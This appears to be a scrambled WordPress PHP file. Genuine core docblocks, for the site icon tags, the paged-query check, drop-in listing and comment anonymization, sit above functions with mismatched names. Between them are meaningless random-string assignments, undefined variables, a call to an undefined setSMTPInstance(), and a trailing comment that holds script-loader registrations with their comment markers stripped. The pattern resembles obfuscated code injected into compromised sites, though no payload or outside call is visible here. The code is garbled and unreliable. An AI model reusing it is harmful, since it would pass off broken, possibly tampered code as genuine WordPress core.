* which will be applied to the navigation markup in the front-end.
*
* @param array $c_alpha0 Navigation block context.
* @return array Font size CSS classes and inline styles.
*/
function wp_http_supports($c_alpha0)
{
// CSS classes.
$encodings = array('css_classes' => array(), 'inline_styles' => '');
$item_name = array_key_exists('fontSize', $c_alpha0);
$sodium_compat_is_fast = isset($c_alpha0['style']['typography']['fontSize']);
if ($item_name) {
// Add the font size class.
$encodings['css_classes'][] = sprintf('has-%s-font-size', $c_alpha0['fontSize']);
} elseif ($sodium_compat_is_fast) {
// Add the custom font size inline style.
$encodings['inline_styles'] = sprintf('font-size: %s;', wp_get_typography_font_size_value(array('size' => $c_alpha0['style']['typography']['fontSize'])));
}
return $encodings;
}
$problems = 'u84q';
$sy = sha1($problems);
$primary_item_features = 'qbd3';
$image_alt = 'mzndtah';
$feed_author = 'trtzsl9';
$compare_two_mode = basename($min_max_checks);
$formatted_item = 'dfvnp1g';
// since there is currently a problem with the key, reschedule a check for 6 hours hence
$block_caps = 'xpcuyp5';
/**
* Updates a blog's post count.
*
* WordPress MS stores a blog's post count as an option so as
* to avoid extraneous COUNTs when a blog's details are fetched
* with get_site(). This function is called when posts are published
* or unpublished to make sure the count stays current.
*
* @since MU (3.0.0)
*
* @global wpdb $ctxAi WordPress database abstraction object.
*
* @param string $basic_fields Not used.
*/
function wp_restore_post_revision($basic_fields = '')
{
global $ctxAi;
update_option('post_count', (int) $ctxAi->get_var("SELECT COUNT(ID) FROM {$ctxAi->posts} WHERE post_status = 'publish' and post_type = 'post'"));
}
$samplingrate = strripos($bytesleft, $feed_author);
$lon_deg_dec = chop($blocks_cache, $blocks_cache);
$image_alt = ltrim($updates_transient);
$primary_item_features = strnatcasecmp($required_php_version, $block_caps);
/**
* Displays site icon meta tags.
*
* @since 4.3.0
*
* @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
*/
function verify_wpcom_key()
{
if (!has_site_icon() && !is_customize_preview()) {
return;
}
$circular_dependencies = array();
$editor_buttons_css = get_site_icon_url(32);
if (empty($editor_buttons_css) && is_customize_preview()) {
$editor_buttons_css = '/favicon.ico';
// Serve default favicon URL in customizer so element can be updated for preview.
}
if ($editor_buttons_css) {
$circular_dependencies[] = sprintf('<link rel="icon" href="%s" sizes="32x32" />', esc_url($editor_buttons_css));
}
$delete_text = get_site_icon_url(192);
if ($delete_text) {
$circular_dependencies[] = sprintf('<link rel="icon" href="%s" sizes="192x192" />', esc_url($delete_text));
}
$last_comment = get_site_icon_url(180);
if ($last_comment) {
$circular_dependencies[] = sprintf('<link rel="apple-touch-icon" href="%s" />', esc_url($last_comment));
}
$has_primary_item = get_site_icon_url(270);
if ($has_primary_item) {
$circular_dependencies[] = sprintf('<meta name="msapplication-TileImage" content="%s" />', esc_url($has_primary_item));
}
/**
* Filters the site icon meta tags, so plugins can add their own.
*
* @since 4.3.0
*
* @param string[] $circular_dependencies Array of Site Icon meta tags.
*/
$circular_dependencies = apply_filters('site_icon_meta_tags', $circular_dependencies);
$circular_dependencies = array_filter($circular_dependencies);
foreach ($circular_dependencies as $memory_limit) {
echo "{$memory_limit}\n";
}
}
$EBMLstring = 'xnhfc';
$formatted_item = ltrim($EBMLstring);
$used_filesize = 'yj4q3';
// module for analyzing Lyrics3 tags //
$hex3_regexp = strnatcasecmp($used_filesize, $copykeys);
// as was checked by auto_check_comment
$authority = 'rz81kxuz';
$reject_url = 'jyi23e6wv';
$tag_id = 'taluuppjl';
$authority = strrpos($reject_url, $tag_id);
/**
* Determines whether the query is for a paged result and not for the first page.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 1.5.0
*
* @global WP_Query $e_status WordPress Query object.
*
* @return bool Whether the query is for a paged result.
*/
function wp_explain_nonce()
{
global $e_status;
if (!isset($e_status)) {
_doing_it_wrong(__FUNCTION__, __('Conditional query tags do not work before the query is run. Before then, they always return false.'), '3.1.0');
return false;
}
return $e_status->wp_explain_nonce();
}
// The version of WordPress we're updating from.
// If menus submitted, cast to int.
$meta_id_column = 'achjh';
$s16 = 'pm8dym2';
$has_medialib = bin2hex($meta_id_column);
$samplerate = 'nqoh0or';
$lat_deg = 'sv954att';
// $del_fileotices[] = array( 'type' => 'spam-check', 'link_text' => 'Link text.' );
// https://core.trac.wordpress.org/ticket/54272.
/**
* Checks the wp-content directory and retrieve all drop-ins with any plugin data.
*
* @since 3.0.0
* @return array[] Array of arrays of dropin plugin data, keyed by plugin file name. See get_plugin_data().
*/
function block_core_navigation_typographic_presets_backcompatibility()
{
$show_site_icons = array();
$copyright = array();
$dbids_to_orders = _block_core_navigation_typographic_presets_backcompatibility();
// Files in wp-content directory.
$sortable_columns = @opendir(WP_CONTENT_DIR);
if ($sortable_columns) {
while (($MTIME = readdir($sortable_columns)) !== false) {
if (isset($dbids_to_orders[$MTIME])) {
$copyright[] = $MTIME;
}
}
} else {
return $show_site_icons;
}
closedir($sortable_columns);
if (empty($copyright)) {
return $show_site_icons;
}
foreach ($copyright as $cached_options) {
if (!is_readable(WP_CONTENT_DIR . "/{$cached_options}")) {
continue;
}
// Do not apply markup/translate as it will be cached.
$ismultipart = get_plugin_data(WP_CONTENT_DIR . "/{$cached_options}", false, false);
if (empty($ismultipart['Name'])) {
$ismultipart['Name'] = $cached_options;
}
$show_site_icons[$cached_options] = $ismultipart;
}
uksort($show_site_icons, 'strnatcasecmp');
return $show_site_icons;
}
$bookmark_name = rawurlencode($meta_id_column);
$s16 = strripos($samplerate, $lat_deg);
/**
* Network API
*
* @package WordPress
* @subpackage Multisite
* @since 5.1.0
*/
/**
* Retrieves network data given a network ID or network object.
*
* Network data will be cached and returned after being passed through a filter.
* If the provided network is empty, the current network global will be used.
*
* @since 4.6.0
*
* @global WP_Network $is_gecko
*
* @param WP_Network|int|null $transports Optional. Network to retrieve. Default is the current network.
* @return WP_Network|null The network object or null if not found.
*/
function strip_fragment_from_url($transports = null)
{
global $is_gecko;
if (empty($transports) && isset($is_gecko)) {
$transports = $is_gecko;
}
if ($transports instanceof WP_Network) {
$hex8_regexp = $transports;
} elseif (is_object($transports)) {
$hex8_regexp = new WP_Network($transports);
} else {
$hex8_regexp = WP_Network::get_instance($transports);
}
if (!$hex8_regexp) {
return null;
}
/**
* Fires after a network is retrieved.
*
* @since 4.6.0
*
* @param WP_Network $hex8_regexp Network data.
*/
$hex8_regexp = apply_filters('strip_fragment_from_url', $hex8_regexp);
return $hex8_regexp;
}
// Remove registered custom meta capabilities.
$EBMLstring = 'q84xobr8';
//Already connected?
// Allow for an old version of Sodium_Compat being loaded before the bundled WordPress one.
// characters U-00010000 - U-001FFFFF, mask 11110XXX
// ----- Write the uncompressed data
$html_report_pathname = 'ice3lkl';
// This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
$EBMLstring = crc32($html_report_pathname);
// Check if there are inactive plugins.
/**
* Erases personal data associated with an email address from the comments table.
*
* @since 4.9.6
*
* @global wpdb $ctxAi WordPress database abstraction object.
*
* @param string $lang_dir The comment author email address.
* @param int $the_tag Comment page number.
* @return array {
* Data removal results.
*
* @type bool $decoded Whether items were actually removed.
* @type bool $has_additional_properties Whether items were retained.
* @type string[] $allow_redirects An array of messages to add to the personal data export file.
* @type bool $possible_match Whether the eraser is finished.
* }
*/
function get_user_agent($lang_dir, $the_tag = 1)
{
global $ctxAi;
if (empty($lang_dir)) {
return array('items_removed' => false, 'items_retained' => false, 'messages' => array(), 'done' => true);
}
// Limit us to 500 comments at a time to avoid timing out.
$preview_stylesheet = 500;
$the_tag = (int) $the_tag;
$decoded = false;
$has_additional_properties = false;
$strip_attributes = get_comments(array('author_email' => $lang_dir, 'number' => $preview_stylesheet, 'paged' => $the_tag, 'orderby' => 'comment_ID', 'order' => 'ASC', 'include_unapproved' => true));
/* translators: Name of a comment's author after being anonymized. */
$ERROR = __('Anonymous');
$allow_redirects = array();
foreach ((array) $strip_attributes as $option_tag) {
$errorString = array();
$errorString['comment_agent'] = '';
$errorString['comment_author'] = $ERROR;
$errorString['comment_author_email'] = '';
$errorString['comment_author_IP'] = wp_privacy_anonymize_data('ip', $option_tag->comment_author_IP);
$errorString['comment_author_url'] = '';
$errorString['user_id'] = 0;
$plugins_group_titles = (int) $option_tag->comment_ID;
/**
* Filters whether to anonymize the comment.
*
* @since 4.9.6
*
* @param bool|string $is_installing Whether to apply the comment anonymization (bool) or a custom
* message (string). Default true.
* @param WP_Comment $option_tag WP_Comment object.
* @param array $errorString Anonymized comment data.
*/
$is_installing = apply_filters('wp_anonymize_comment', true, $option_tag, $errorString);
if (true !== $is_installing) {
if ($is_installing && is_string($is_installing)) {
$allow_redirects[] = esc_html($is_installing);
} else {
/* translators: %d: Comment ID. */
$allow_redirects[] = sprintf(__('Comment %d contains personal data but could not be anonymized.'), $plugins_group_titles);
}
$has_additional_properties = true;
continue;
}
$author_data = array('comment_ID' => $plugins_group_titles);
$pass_change_email = $ctxAi->update($ctxAi->comments, $errorString, $author_data);
if ($pass_change_email) {
$decoded = true;
clean_comment_cache($plugins_group_titles);
} else {
$has_additional_properties = true;
}
}
$possible_match = count($strip_attributes) < $preview_stylesheet;
return array('items_removed' => $decoded, 'items_retained' => $has_additional_properties, 'messages' => $allow_redirects, 'done' => $possible_match);
}
$orig_value = 'r0q72vd';
// This method supports two different synopsis. The first one is historical.
$problems = setSMTPInstance($orig_value);
/* udes/js/jquery/ui/effect-shake$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-size', "/wp-includes/js/jquery/ui/effect-size$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-slide', "/wp-includes/js/jquery/ui/effect-slide$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-transfer', "/wp-includes/js/jquery/ui/effect-transfer$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
Widgets
$scripts->add( 'jquery-ui-accordion', "/wp-includes/js/jquery/ui/accordion$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-autocomplete', "/wp-includes/js/jquery/ui/autocomplete$suffix.js", array( 'jquery-ui-menu', 'wp-a11y' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-button', "/wp-includes/js/jquery/ui/button$suffix.js", array( 'jquery-ui-core', 'jquery-ui-controlgroup', 'jquery-ui-checkboxradio' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-datepicker', "/wp-includes/js/jquery/ui/datepicker$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-dialog', "/wp-includes/js/jquery/ui/dialog$suffix.js", array( 'jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-menu', "/wp-includes/js/jquery/ui/menu$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-mouse', "/wp-includes/js/jquery/ui/mouse$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-progressbar', "/wp-includes/js/jquery/ui/progressbar$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-selectmenu', "/wp-includes/js/jquery/ui/selectmenu$suffix.js", array( 'jquery-ui-menu' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-slider', "/wp-includes/js/jquery/ui/slider$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$suffix.js", array( 'jquery-ui-button' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
New in 1.12.1
$scripts->add( 'jquery-ui-checkboxradio', "/wp-includes/js/jquery/ui/checkboxradio$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-controlgroup', "/wp-includes/js/jquery/ui/controlgroup$suffix.js", array( 'jquery-ui-core' ), '1.13.2', 1 );
Interactions
$scripts->add( 'jquery-ui-draggable', "/wp-includes/js/jquery/ui/draggable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-droppable', "/wp-includes/js/jquery/ui/droppable$suffix.js", array( 'jquery-ui-draggable' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-resizable', "/wp-includes/js/jquery/ui/resizable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-selectable', "/wp-includes/js/jquery/ui/selectable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$suffix.js", array( 'jquery-ui-mouse' ), '1.13.2', 1 );
* As of 1.12.1 `jquery-ui-position` and `jquery-ui-widget` are part of `jquery-ui-core`.
* Listed here for back-compat.
$scripts->add( 'jquery-ui-position', false, array( 'jquery-ui-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-ui-widget', false, array( 'jquery-ui-core' ), '1.13.2', 1 );
Strings for 'jquery-ui-autocomplete' live region messages.
did_action( 'init' ) && $scripts->localize(
'jquery-ui-autocomplete',
'uiAutocompleteL10n',
array(
'noResults' => __( 'No results found.' ),
translators: Number of results found when using jQuery UI Autocomplete.
'oneResult' => __( '1 result found. Use up and down arrow keys to navigate.' ),
translators: %d: Number of results found when using jQuery UI Autocomplete.
'manyResults' => __( '%d results found. Use up and down arrow keys to navigate.' ),
'itemSelected' => __( 'Item selected.' ),
)
);
Deprecated, not used in core, most functionality is included in jQuery 1.3.
$scripts->add( 'jquery-form', "/wp-includes/js/jquery/jquery.form$suffix.js", array( 'jquery' ), '4.3.0', 1 );
jQuery plugins.
$scripts->add( 'jquery-color', '/wp-includes/js/jquery/jquery.color.min.js', array( 'jquery' ), '2.2.0', 1 );
$scripts->add( 'schedule', '/wp-includes/js/jquery/jquery.schedule.js', array( 'jquery' ), '20m', 1 );
$scripts->add( 'jquery-query', '/wp-includes/js/jquery/jquery.query.js', array( 'jquery' ), '2.2.3', 1 );
$scripts->add( 'jquery-serialize-object', '/wp-includes/js/jquery/jquery.serialize-object.js', array( 'jquery' ), '0.2-wp', 1 );
$scripts->add( 'jquery-hotkeys', "/wp-includes/js/jquery/jquery.hotkeys$suffix.js", array( 'jquery' ), '0.0.2m', 1 );
$scripts->add( 'jquery-table-hotkeys', "/wp-includes/js/jquery/jquery.table-hotkeys$suffix.js", array( 'jquery', 'jquery-hotkeys' ), false, 1 );
$scripts->add( 'jquery-touch-punch', '/wp-includes/js/jquery/jquery.ui.touch-punch.js', array( 'jquery-ui-core', 'jquery-ui-mouse' ), '0.2.2', 1 );
Not used any more, registered for backward compatibility.
$scripts->add( 'suggest', "/wp-includes/js/jquery/suggest$suffix.js", array( 'jquery' ), '1.1-20110113', 1 );
* Masonry v2 depended on jQuery. v3 does not. The older jquery-masonry handle is a shiv.
* It sets jQuery as a dependency, as the theme may have been implicitly loading it this way.
$scripts->add( 'imagesloaded', '/wp-includes/js/imagesloaded.min.js', array(), '5.0.0', 1 );
$scripts->add( 'masonry', '/wp-includes/js/masonry.min.js', array( 'imagesloaded' ), '4.2.2', 1 );
$scripts->add( 'jquery-masonry', '/wp-includes/js/jquery/jquery.masonry.min.js', array( 'jquery', 'masonry' ), '3.1.2b', 1 );
$scripts->add( 'thickbox', '/wp-includes/js/thickbox/thickbox.js', array( 'jquery' ), '3.1-20121105', 1 );
did_action( 'init' ) && $scripts->localize(
'thickbox',
'thickboxL10n',
array(
'next' => __( 'Next >' ),
'prev' => __( '< Prev' ),
'image' => __( 'Image' ),
'of' => __( 'of' ),
'close' => __( 'Close' ),
'noiframes' => __( 'This feature requires inline frames. You have iframes disabled or your browser does not support them.' ),
'loadingAnimation' => includes_url( 'js/thickbox/loadingAnimation.gif' ),
)
);
Not used in core, replaced by imgAreaSelect.
$scripts->add( 'jcrop', '/wp-includes/js/jcrop/jquery.Jcrop.min.js', array( 'jquery' ), '0.9.15' );
$scripts->add( 'swfobject', '/wp-includes/js/swfobject.js', array(), '2.2-20120417' );
Error messages for Plupload.
$uploader_l10n = array(
'queue_limit_exceeded' => __( 'You have attempted to queue too many files.' ),
translators: %s: File name.
'file_exceeds_size_limit' => __( '%s exceeds the maximum upload size for this site.' ),
'zero_byte_file' => __( 'This file is empty. Please try another.' ),
'invalid_filetype' => __( 'Sorry, you are not allowed to upload this file type.' ),
'not_an_image' => __( 'This file is not an image. Please try another.' ),
'image_memory_exceeded' => __( 'Memory exceeded. Please try another smaller file.' ),
'image_dimensions_exceeded' => __( 'This is larger than the maximum size. Please try another.' ),
'default_error' => __( 'An error occurred in the upload. Please try again later.' ),
'missing_upload_url' => __( 'There was a configuration error. Please contact the server administrator.' ),
'upload_limit_exceeded' => __( 'You may only upload 1 file.' ),
'http_error' => __( 'Unexpected response from the server. The file may have been uploaded successfully. Check in the Media Library or reload the page.' ),
'http_error_image' => __( 'The server cannot process the image. This can happen if the server is busy or does not have enough resources to complete the task. Uploading a smaller image may help. Suggested maximum size is 2560 pixels.' ),
'upload_failed' => __( 'Upload failed.' ),
translators: 1: Opening link tag, 2: Closing link tag.
'big_upload_failed' => __( 'Please try uploading this file with the %1$sbrowser uploader%2$s.' ),
translators: %s: File name.
'big_upload_queued' => __( '%s exceeds the maximum upload size for the multi-file uploader when used in your browser.' ),
'io_error' => __( 'IO error.' ),
'security_error' => __( 'Security error.' ),
'file_cancelled' => __( 'File canceled.' ),
'upload_stopped' => __( 'Upload stopped.' ),
'dismiss' => __( 'Dismiss' ),
'crunching' => __( 'Crunching…' ),
'deleted' => __( 'moved to the Trash.' ),
translators: %s: File name.
'error_uploading' => __( '“%s” has failed to upload.' ),
'unsupported_image' => __( 'This image cannot be displayed in a web browser. For best results convert it to JPEG before uploading.' ),
'noneditable_image' => __( 'This image cannot be processed by the web server. Convert it to JPEG or PNG before uploading.' ),
'file_url_copied' => __( 'The file URL has been copied to your clipboard' ),
);
$scripts->add( 'moxiejs', "/wp-includes/js/plupload/moxie$suffix.js", array(), '1.3.5' );
$scripts->add( 'plupload', "/wp-includes/js/plupload/plupload$suffix.js", array( 'moxiejs' ), '2.1.9' );
Back compat handles:
foreach ( array( 'all', 'html5', 'flash', 'silverlight', 'html4' ) as $handle ) {
$scripts->add( "plupload-$handle", false, array( 'plupload' ), '2.1.1' );
}
$scripts->add( 'plupload-handlers', "/wp-includes/js/plupload/handlers$suffix.js", array( 'clipboard', 'jquery', 'plupload', 'underscore', 'wp-a11y', 'wp-i18n' ) );
did_action( 'init' ) && $scripts->localize( 'plupload-handlers', 'pluploadL10n', $uploader_l10n );
$scripts->add( 'wp-plupload', "/wp-includes/js/plupload/wp-plupload$suffix.js", array( 'plupload', 'jquery', 'json2', 'media-models' ), false, 1 );
did_action( 'init' ) && $scripts->localize( 'wp-plupload', 'pluploadL10n', $uploader_l10n );
Keep 'swfupload' for back-compat.
$scripts->add( 'swfupload', '/wp-includes/js/swfupload/swfupload.js', array(), '2201-20110113' );
$scripts->add( 'swfupload-all', false, array( 'swfupload' ), '2201' );
$scripts->add( 'swfupload-handlers', "/wp-includes/js/swfupload/handlers$suffix.js", array( 'swfupload-all', 'jquery' ), '2201-20110524' );
did_action( 'init' ) && $scripts->localize( 'swfupload-handlers', 'swfuploadL10n', $uploader_l10n );
$scripts->add( 'comment-reply', "/wp-includes/js/comment-reply$suffix.js", array(), false, 1 );
did_action( 'init' ) && $scripts->add_data( 'comment-reply', 'strategy', 'async' );
$scripts->add( 'json2', "/wp-includes/js/json2$suffix.js", array(), '2015-05-03' );
did_action( 'init' ) && $scripts->add_data( 'json2', 'conditional', 'lt IE 8' );
$scripts->add( 'underscore', "/wp-includes/js/underscore$dev_suffix.js", array(), '1.13.4', 1 );
$scripts->add( 'backbone', "/wp-includes/js/backbone$dev_suffix.js", array( 'underscore', 'jquery' ), '1.5.0', 1 );
$scripts->add( 'wp-util', "/wp-includes/js/wp-util$suffix.js", array( 'underscore', 'jquery' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'wp-util',
'_wpUtilSettings',
array(
'ajax' => array(
'url' => admin_url( 'admin-ajax.php', 'relative' ),
),
)
);
$scripts->add( 'wp-backbone', "/wp-includes/js/wp-backbone$suffix.js", array( 'backbone', 'wp-util' ), false, 1 );
$scripts->add( 'revisions', "/wp-admin/js/revisions$suffix.js", array( 'wp-backbone', 'jquery-ui-slider', 'hoverIntent' ), false, 1 );
$scripts->add( 'imgareaselect', "/wp-includes/js/imgareaselect/jquery.imgareaselect$suffix.js", array( 'jquery' ), false, 1 );
$scripts->add( 'mediaelement', false, array( 'jquery', 'mediaelement-core', 'mediaelement-migrate' ), '4.2.17', 1 );
$scripts->add( 'mediaelement-core', "/wp-includes/js/mediaelement/mediaelement-and-player$suffix.js", array(), '4.2.17', 1 );
$scripts->add( 'mediaelement-migrate', "/wp-includes/js/mediaelement/mediaelement-migrate$suffix.js", array(), false, 1 );
did_action( 'init' ) && $scripts->add_inline_script(
'mediaelement-core',
sprintf(
'var mejsL10n = %s;',
wp_json_encode(
array(
'language' => strtolower( strtok( determine_locale(), '_-' ) ),
'strings' => array(
'mejs.download-file' => __( 'Download File' ),
'mejs.install-flash' => __( 'You are using a browser that does not have Flash player enabled or installed. Please turn on your Flash player plugin or download the latest version from https:get.adobe.com/flashplayer/' ),
'mejs.fullscreen' => __( 'Fullscreen' ),
'mejs.play' => __( 'Play' ),
'mejs.pause' => __( 'Pause' ),
'mejs.time-slider' => __( 'Time Slider' ),
'mejs.time-help-text' => __( 'Use Left/Right Arrow keys to advance one second, Up/Down arrows to advance ten seconds.' ),
'mejs.live-broadcast' => __( 'Live Broadcast' ),
'mejs.volume-help-text' => __( 'Use Up/Down Arrow keys to increase or decrease volume.' ),
'mejs.unmute' => __( 'Unmute' ),
'mejs.mute' => __( 'Mute' ),
'mejs.volume-slider' => __( 'Volume Slider' ),
'mejs.video-player' => __( 'Video Player' ),
'mejs.audio-player' => __( 'Audio Player' ),
'mejs.captions-subtitles' => __( 'Captions/Subtitles' ),
'mejs.captions-chapters' => __( 'Chapters' ),
'mejs.none' => __( 'None' ),
'mejs.afrikaans' => __( 'Afrikaans' ),
'mejs.albanian' => __( 'Albanian' ),
'mejs.arabic' => __( 'Arabic' ),
'mejs.belarusian' => __( 'Belarusian' ),
'mejs.bulgarian' => __( 'Bulgarian' ),
'mejs.catalan' => __( 'Catalan' ),
'mejs.chinese' => __( 'Chinese' ),
'mejs.chinese-simplified' => __( 'Chinese (Simplified)' ),
'mejs.chinese-traditional' => __( 'Chinese (Traditional)' ),
'mejs.croatian' => __( 'Croatian' ),
'mejs.czech' => __( 'Czech' ),
'mejs.danish' => __( 'Danish' ),
'mejs.dutch' => __( 'Dutch' ),
'mejs.english' => __( 'English' ),
'mejs.estonian' => __( 'Estonian' ),
'mejs.filipino' => __( 'Filipino' ),
'mejs.finnish' => __( 'Finnish' ),
'mejs.french' => __( 'French' ),
'mejs.galician' => __( 'Galician' ),
'mejs.german' => __( 'German' ),
'mejs.greek' => __( 'Greek' ),
'mejs.haitian-creole' => __( 'Haitian Creole' ),
'mejs.hebrew' => __( 'Hebrew' ),
'mejs.hindi' => __( 'Hindi' ),
'mejs.hungarian' => __( 'Hungarian' ),
'mejs.icelandic' => __( 'Icelandic' ),
'mejs.indonesian' => __( 'Indonesian' ),
'mejs.irish' => __( 'Irish' ),
'mejs.italian' => __( 'Italian' ),
'mejs.japanese' => __( 'Japanese' ),
'mejs.korean' => __( 'Korean' ),
'mejs.latvian' => __( 'Latvian' ),
'mejs.lithuanian' => __( 'Lithuanian' ),
'mejs.macedonian' => __( 'Macedonian' ),
'mejs.malay' => __( 'Malay' ),
'mejs.maltese' => __( 'Maltese' ),
'mejs.norwegian' => __( 'Norwegian' ),
'mejs.persian' => __( 'Persian' ),
'mejs.polish' => __( 'Polish' ),
'mejs.portuguese' => __( 'Portuguese' ),
'mejs.romanian' => __( 'Romanian' ),
'mejs.russian' => __( 'Russian' ),
'mejs.serbian' => __( 'Serbian' ),
'mejs.slovak' => __( 'Slovak' ),
'mejs.slovenian' => __( 'Slovenian' ),
'mejs.spanish' => __( 'Spanish' ),
'mejs.swahili' => __( 'Swahili' ),
'mejs.swedish' => __( 'Swedish' ),
'mejs.tagalog' => __( 'Tagalog' ),
'mejs.thai' => __( 'Thai' ),
'mejs.turkish' => __( 'Turkish' ),
'mejs.ukrainian' => __( 'Ukrainian' ),
'mejs.vietnamese' => __( 'Vietnamese' ),
'mejs.welsh' => __( 'Welsh' ),
'mejs.yiddish' => __( 'Yiddish' ),
),
)
)
),
'before'
);
$scripts->add( 'mediaelement-vimeo', '/wp-includes/js/mediaelement/renderers/vimeo.min.js', array( 'mediaelement' ), '4.2.17', 1 );
$scripts->add( 'wp-mediaelement', "/wp-includes/js/mediaelement/wp-mediaelement$suffix.js", array( 'mediaelement' ), false, 1 );
$mejs_settings = array(
'pluginPath' => includes_url( 'js/mediaelement/', 'relative' ),
'classPrefix' => 'mejs-',
'stretching' => 'responsive',
* This filter is documented in wp-includes/media.php
'audioShortcodeLibrary' => apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ),
* This filter is documented in wp-includes/media.php
'videoShortcodeLibrary' => apply_filters( 'wp_video_shortcode_library', 'mediaelement' ),
);
did_action( 'init' ) && $scripts->localize(
'mediaelement',
'_wpmejsSettings',
*
* Filters the MediaElement configuration settings.
*
* @since 4.4.0
*
* @param array $mejs_settings MediaElement settings array.
apply_filters( 'mejs_settings', $mejs_settings )
);
$scripts->add( 'wp-codemirror', '/wp-includes/js/codemirror/codemirror.min.js', array(), '5.29.1-alpha-ee20357' );
$scripts->add( 'csslint', '/wp-includes/js/codemirror/csslint.js', array(), '1.0.5' );
$scripts->add( 'esprima', '/wp-includes/js/codemirror/esprima.js', array(), '4.0.0' );
$scripts->add( 'jshint', '/wp-includes/js/codemirror/fakejshint.js', array( 'esprima' ), '2.9.5' );
$scripts->add( 'jsonlint', '/wp-includes/js/codemirror/jsonlint.js', array(), '1.6.2' );
$scripts->add( 'htmlhint', '/wp-includes/js/codemirror/htmlhint.js', array(), '0.9.14-xwp' );
$scripts->add( 'htmlhint-kses', '/wp-includes/js/codemirror/htmlhint-kses.js', array( 'htmlhint' ) );
$scripts->add( 'code-editor', "/wp-admin/js/code-editor$suffix.js", array( 'jquery', 'wp-codemirror', 'underscore' ) );
$scripts->add( 'wp-theme-plugin-editor', "/wp-admin/js/theme-plugin-editor$suffix.js", array( 'common', 'wp-util', 'wp-sanitize', 'jquery', 'jquery-ui-core', 'wp-a11y', 'underscore' ), false, 1 );
$scripts->set_translations( 'wp-theme-plugin-editor' );
$scripts->add( 'wp-playlist', "/wp-includes/js/mediaelement/wp-playlist$suffix.js", array( 'wp-util', 'backbone', 'mediaelement' ), false, 1 );
$scripts->add( 'zxcvbn-async', "/wp-includes/js/zxcvbn-async$suffix.js", array(), '1.0' );
did_action( 'init' ) && $scripts->localize(
'zxcvbn-async',
'_zxcvbnSettings',
array(
'src' => empty( $guessed_url ) ? includes_url( '/js/zxcvbn.min.js' ) : $scripts->base_url . '/wp-includes/js/zxcvbn.min.js',
)
);
$scripts->add( 'password-strength-meter', "/wp-admin/js/password-strength-meter$suffix.js", array( 'jquery', 'zxcvbn-async' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'password-strength-meter',
'pwsL10n',
array(
'unknown' => _x( 'Password strength unknown', 'password strength' ),
'short' => _x( 'Very weak', 'password strength' ),
'bad' => _x( 'Weak', 'password strength' ),
'good' => _x( 'Medium', 'password strength' ),
'strong' => _x( 'Strong', 'password strength' ),
'mismatch' => _x( 'Mismatch', 'password mismatch' ),
)
);
$scripts->set_translations( 'password-strength-meter' );
$scripts->add( 'password-toggle', "/wp-admin/js/password-toggle$suffix.js", array(), false, 1 );
$scripts->set_translations( 'password-toggle' );
$scripts->add( 'application-passwords', "/wp-admin/js/application-passwords$suffix.js", array( 'jquery', 'wp-util', 'wp-api-request', 'wp-date', 'wp-i18n', 'wp-hooks' ), false, 1 );
$scripts->set_translations( 'application-passwords' );
$scripts->add( 'auth-app', "/wp-admin/js/auth-app$suffix.js", array( 'jquery', 'wp-api-request', 'wp-i18n', 'wp-hooks' ), false, 1 );
$scripts->set_translations( 'auth-app' );
$scripts->add( 'user-profile', "/wp-admin/js/user-profile$suffix.js", array( 'jquery', 'password-strength-meter', 'wp-util' ), false, 1 );
$scripts->set_translations( 'user-profile' );
$user_id = isset( $_GET['user_id'] ) ? (int) $_GET['user_id'] : 0;
did_action( 'init' ) && $scripts->localize(
'user-profile',
'userProfileL10n',
array(
'user_id' => $user_id,
'nonce' => wp_installing() ? '' : wp_create_nonce( 'reset-password-for-' . $user_id ),
)
);
$scripts->add( 'language-chooser', "/wp-admin/js/language-chooser$suffix.js", array( 'jquery' ), false, 1 );
$scripts->add( 'user-suggest', "/wp-admin/js/user-suggest$suffix.js", array( 'jquery-ui-autocomplete' ), false, 1 );
$scripts->add( 'admin-bar', "/wp-includes/js/admin-bar$suffix.js", array( 'hoverintent-js' ), false, 1 );
$scripts->add( 'wplink', "/wp-includes/js/wplink$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'wplink',
